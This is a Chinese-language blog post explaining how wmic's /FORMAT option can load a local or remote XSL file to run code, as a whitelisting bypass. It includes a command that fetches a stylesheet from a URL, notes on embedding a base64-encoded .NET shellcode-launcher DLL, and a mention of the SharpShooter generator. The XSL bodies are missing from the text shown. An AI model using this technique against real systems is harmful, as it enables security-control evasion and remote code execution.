Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。
本地简单的一个wmic.xsl文件内容如下:
<?xml version='1.0'?>
远程执行命令:wmic os get /FORMAT:"https://example.com/wmic.xsl"
或本地执行命令:wmic os get /FORMAT:"d:wmic.xsl"
均会弹出计算器,如图所示:
最近在github上获得star很多的点赞教程,micro8.gitbook.io/micro8/contents-1/71-80/80-ji-yu-bai-ming-dan-wmic-zhi-hang-payload-di-shi-ji,也提到了这个用法。它原文中是用了一个执行shellcode的Micropoor_Win7.xsl,代码如下:
<?xml version='1.0'?>
代码中的哪些base64是什么呢?土司论坛中我看到了一篇文章,竟然说是exe文件的base64编码,说是用任意一个exe编码成base64,然后替换就可以了,这个是不对的。我在我头条号上更正吧。
这个是一个dll的base编码(当然用exe也可以),不过这个文件是有要求的,注意代码中的这一句”var entry_class = 'ShellCodeLauncher.Program'; “,说明这是一个类名为ShellCodeLauncher.Program的net程序的base64编码。
我写了一个简单的示例:
这个文件生成dll后再编码就可以调用了。注意这个dll的类名为EvalPeak。
所以我的xsl文件代码如下,由于我熟悉vbs,所以我是用vbs写的。
<?xml version='1.0'?>
这个代码按wmic格式运行后也会弹出计算器。
如果你不会.net程序,不会代码怎么办。其实也有现成的生成xsl工具,就是SharpShooter。
这个工具具体如何利用,我们下次再聊。